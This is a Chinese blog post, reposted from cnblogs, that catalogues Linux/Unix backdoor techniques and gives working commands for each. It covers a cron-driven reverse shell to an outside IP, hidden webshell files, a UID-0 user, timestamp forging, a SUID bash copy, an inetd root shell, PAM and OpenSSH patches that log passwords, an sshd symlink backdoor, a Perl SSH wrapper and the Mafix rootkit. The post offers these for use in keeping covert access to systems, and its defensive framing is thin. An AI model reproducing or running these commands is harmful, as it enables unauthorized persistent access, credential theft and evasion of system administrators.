各类后门整理!【白帽黑客必备生存技能】
Unix Bash 远控后门
简介
利用 Unix/Linux 自带的 Bash 和 Crond 实现远控功能,保持反弹上线到公网机器。
利用方法
先创建 /etc/xxxx 脚本文件(名字自己改),利用该脚本进行反弹。以下脚本代表全自动反弹到 8.8.8.8 的 53 端口。
nano /etc/xxxx
#!/bin/bash if netstat -ano|grep -v grep | grep "8.8.8.8">/dev/null then echo "OK">/dev/null else /sbin/iptables --policy INPUT ACCEPT /sbin/iptables --policy OUTPUT ACCEPT bash -i >& /dev/tcp/8.8.8.8/53 0>&1 fi
chmod +sx /etc/xxxx
然后我们需要修改一下 /etc/crontab 让它定时执行。
nano /etc/crontab 在 /etc/crontab 文件末加入这一行。代表每 1 分钟执行一次。
*/1 * * * * root /etc/xxxx
最后重启一下 crond 的服务。(不同发行版重启方式不一样,自行查询)
service cron reload
service cron start
然后在 8.8.8.8 的服务器上使用 NC 接收 Shell 即可。
nc -vv -lp 53
Linux/Unix 藏文件和文件夹
Linux/Unix 下想藏 Webshell 或者后门什么的,可以利用一下隐藏文件夹和文件。
方法一
比如创建一个名字开头带 . 的 Webshell 或者文件夹,默认情况下是不会显示出来的,浏览器访问的时候加点访问就行。(查看方法:ls -a)
touch .webshell.php 创建名字为 .webshell.php 的文件
mkdir .backdoor/ 创建名字为 .backdoor 的文件夹
终极方法
在管理员喝多了或者脑子转不过来的情况下,是绝对不会发现的!至少我用了这么久是没几个发现的。
是文件的话浏览器访问直接输 … 就行,目录同理。
touch … 创建名字为 … 的文件
mkdir … 创建名字为 … 的文件夹
效果如图:
Linux/Unix 添加 UID 为 0 的用户
简介
在 Unix 体系下,UID 为 0 就是 root 权限。所以渗透的时候可以添加一个 UID 为 0 的用户作为后门。
利用方法
useradd -o -u 0 backdoor
Linux/Unix 修改文件时间戳简介
Unix 下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。
比如参考 index.php 的时间,再赋给 webshell.php,结果两个文件的时间就一样了。
利用方法
touch -r index.php webshell.php
或者直接将时间戳修改成某年某月某日。如下 2014 年 01 月 02 日。
touch -t 1401021042.30 webshell.php
系统环境:
dawg:~# uname -a
Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux
SUID shell利用方法
首先, 先切换成为root用户,并执行以下的命令:
dawg:~# cp /bin/bash /.wootdawg:~# chmod 4755 /.wootdawg:~# ls -al /.woot-rwsr-xr-x 1 root root 690668 Jul 24 17:14 /.woot
当然, 你也可以起其他更具备隐藏性的名字,我想猥琐并机智的你,肯定能想出很多好的名字的。文件前面的那一点也不是必要的,只是为了隐藏文件( 在文件名的最前面加上“.”,就可以在任意文件目录下进行隐藏) .
现在,做为一个普通用户,我们来启用这个后门:
fw@dawg:~$ iduid=1000(fw) gid=1000(fw) groups=1000(fw)fw@dawg:~$ /.woot.woot-2.05b$ iduid=1000(fw) gid=1000(fw) groups=1000(fw).woot-2.05b$
为什么不行呢?
因为 bash2 针对 suid有一些护卫的措施. 但这也不是不可破的:
.woot-2.05b$ /.woot -p
.woot-2.05b# id
uid=1000(fw) gid=1000(fw) euid=0(root) groups=1000(fw)
使用-p参数来获取一个root shell. 这个euid的意思是 effective user id(关于这些ID的知识,可以戳这里)
这里要特别注意的是,作为一个普通用户执行这个SUID shell时,一定要使用全路径。
小知识:
如何查找那些具有SUID 的文件:
dawg:~# find / -perm +4000 -ls
这时就会返回具有SUID位的文件啦。
远程后门利用方法
我们使用vi来修改 /etc/inetd.conf 文件
原文件:
#chargen dgram udp wait root internal[/align] #discard stream tcp nowait root internal#discard dgram udp wait root internal#daytime stream tcp nowait root internal
修改为:
#discard stream tcp nowait root internal[/align] #discard dgram udp wait root internaldaytime stream tcp nowait root /bin/bash bash -i
开启inetd:
dawg:~# inetd
如果要强制重启inetd:
dawg:~# ps -ef | grep inetdroot 362 1 0 Jul22 ? 00:00:00 /usr/sbin/inetdroot 13769 13643 0 17:51 pts/1 00:00:00 grep inetddawg:~# kill -HUP 362
现在我们就可以用nc来爆菊了:
C:tools 192.168.1.77: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [192.168.1.77] 13 (daytime) open
bash: no job control in this shell
bash-2.05b# bash-2.05b#
bash-2.05b# iduid=0(root)
gid=0(root) groups=0(root)bash-2.05b# uname -a
Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux
可以修改/etc/services文件,加入以下的东西:
woot 6666/tcp #evil backdoor service
然后修改/etc/inetd.conf :
woot stream tcp nowait root /bin/bash bash -i
我们可以修改成一些常见的端口,以实现隐藏。
PAM后门简介
PAM (Pluggable AuthenticationModules )是由Sun提出的一种认证机制。它通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。PAM最初是集成在Solaris中,目前已移植到其它系统中,如Linux、SunOS、HP-UX9.0等。
搭建PAM后门主要思路:pam_unix_auth.c打补丁安装到正常的PAM模块中。
利用方法
1、获取目标系统所使用的PAM版本:
rpm -qa |grep pam
2、编译安装PAM
3、将本地pam_unix_auth.c文件通过打补丁方式,编译生成。
4、编译完后的文件在:modules/pam_unix/.libs/pam_unix.so,后门密码为root123,并会在/tmp/pslog记录root登录密码。
特点:
优势:隐蔽性较强,不易被发现。
劣势:需要编译环境,缺少GCC或其他依赖包容易出现问题
openssh后门简介
下载新版本的openssh,并下载对应patch包,这个patch文件包含sshbd5.9p1.diff文件为后门文件,文件包括:auth.c、auth-pam.c、auth-passwd.c、canohost.c、includes.h、log.c、servconf.c、sshconnect2.c、sshlogin.c、version.h
利用方法
#tar -zxvf openssh-5.9p1.tar.gz
#tar -zxvf 0×06-openssh-5.9p1.patch.tar.gz
vim includes.h //修改后门密码,记录文件位置,
/*
#define ILOG “/tmp/ilog” //记录登录到本机的用户名和密码
#define OLOG “/tmp/olog” //记录本机登录到远程的用户名和密码
#define SECRETPW “root123″ //你后门的密码
*/优势:隐蔽性较强,不易被发现。
劣势:需要编译环境,缺少GCC或其他依赖包容易出现问题。
快速获得ssh后门简介
就会派生一个31337端口,然后连接31337,用root/bin/ftp/mail当用户名,密码随意,就可登陆。
利用方法
在远程主机上执行:
#ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;
就会派生一个31337端口,然后连接31337,用root/bin/ftp/mail当用户名,密码随意,就可登陆。
特点:
优势:隐蔽性较弱,适合短时间连接。
劣势:重启后会断开,无法后弹连接。
SSH wrapper后门简介
init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell。
利用方法
客户端:
[root@localhost ~]# cd /usr/sbin
[root@localhost sbin]# mv sshd ../bin
[root@localhost sbin]# echo ‘#!/usr/bin/perl’ >sshd
[root@localhost sbin]# echo ‘exec “/bin/sh” if(getpeername(STDIN) =~ /^..4A/);’ >>sshd
[root@localhost sbin]# echo ‘exec{“/usr/bin/sshd”} “/usr/sbin/sshd”,@ARGV,’ >>sshd
[root@localhost sbin]# chmod u+x sshd
[root@localhost sbin]# /etc/init.d/sshd restart
控制端:
socat STDIOTCP4:target_ip:22,sourceport=19526
特点:
优势:隐蔽性较强,无需要编译,使用于大部分环境中。
劣势:需要重启sshd进程。
mafix rootkit创建后门简介
Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口号。
利用方法
安装完成后,使用ssh 用户@IP -P 配置的端口,即可远程登录。
特点:
优势:隐蔽性一般,无需要编译。
劣势:会替换ls等命令,容易被识破
转载于:https://www.cnblogs.com/ichunqiu/p/7281401.html
各类后门整理!【白帽黑客必备生存技能】相关推荐
- python编程工具p-这里有123个黑客必备的Python工具!
原标题:这里有123个黑客必备的Python工具! 来自: 地球的外星人君 链接:https://zhuanlan.zhihu.com/p/28452712 今天的文章来源于dloss/python- ...
- python hack库_这里有123个黑客必备的Python工具!
123个Python渗透测试工具,当然不仅于渗透~ 如果你想参与漏洞研究.逆向工程和渗透,我建议你时候用Python语言.Python已经有很多完善可用的库,我将在这里把他们列出来. 这个清单里的工具 ...
- 成为最厉害的白帽黑客,需要经历什么?
想要成为最厉害的白帽子,唯有持之以恒的学习和千百次实战的锤炼.实战只能靠你自己. 01 技术诉求 在上世纪80.90年代以及21世纪初,"hack"是一个肮脏的字眼.它暗示着危险和 ...
- 这群白帽黑客,是网络世界的守夜人
这是在网络世界,聪明的头脑之间,关于智慧.毅力.勇气的战斗. 一方是坚固的盾,一方是锐利的矛.数以亿计的代码中,他们寻找着一丝破绽,难度堪比大海捞针. 一丝破绽令多少人趋之若鹜,又让多少人奋不顾身.但 ...
- 英国熊孩子频繁攻击学校网络,政府被逼爹味儿下场:当白帽黑客吧!年薪45万...
行早 发自 凹非寺 量子位 | 公众号 QbitAI 你敢信,现在英国已经有五分之一的中小学生都有过黑客行为. 根据英国国家打击犯罪调查局的统计,针对学校网络和校园网站的DDoS攻击在2019年到20 ...
- 美国国防部黑客大比武 “白帽黑客”受邀请
美国国防部举行首次黑客大比武,悬赏邀请民间高手寻找五角大楼网站漏洞,结果找到超过上百处隐患.五角大楼计划今后继续这类活动并扩大范围. 政府开先河 这种做法在企业界不新鲜:"白帽黑客" ...
- 白帽黑客眼中的网络安全 挡黑客财路曾收恐吓信
影视作品中,"黑客"是一种神秘又无所不能的存在:找出漏洞,控制网络,侵入系统,盗走钱财,窃取机密-- 但现实中,黑客却有好坏之分:"白帽黑客"和"黑帽 ...
- 吐血整理,Ubuntu必备应用推荐,满满的干货!
吐血整理,Ubuntu必备应用推荐,满满的干货! 哈喽,大家好,欢迎收看欢哥TV 我是欢哥.无论你是刚接触Ubuntu,还是最近从Windows改用Ubuntu,都会发现--我不知道该装哪些软件? 这 ...
- 自学白帽黑客第二年总结
文章目录 卷首 技术 个人经历 尾声 卷首 几乎和去年写上一篇文章<自学白帽黑客第一年总结>一样,晚上翻来覆去睡不着,头脑中是这一年的经历不断的涌现,我想着去360的经历,想着最近审计代码 ...
最新文章
- c语言中二进制用什么字母表示方法,看C语言编码转换--------负数的二进制表示方法...
- linux zip 命令详解
- javascript控制validator
- OPenCV膨胀函数dilate()的使用
- PyTorch教程(五):Broadcasting
- api与implementation的区别
- 一些实用的DBA语句(持续学习,持续更新)
- tracert工作原理
- win7不支持新主板键盘鼠标没驱动怎么办?看一篇就够了。
- Latex 合并多个pdf文件
- 计操实验 多级反馈队列C语言
- 广播电视相关信息系统 安全等级保护基本要求
- 语c和c语言,00后黑话等级测试,你能看懂几句?
- 百度网盘如何在线播放电影?
- 为程序员更新了Joel测试
- idea修改背景颜色|护眼色|项目栏背景修改
- Lottie- 让Android动画实现更简单
- Django框架学习
- 算法基础——2.3进制变换
- OpenCV Sobel 边缘检测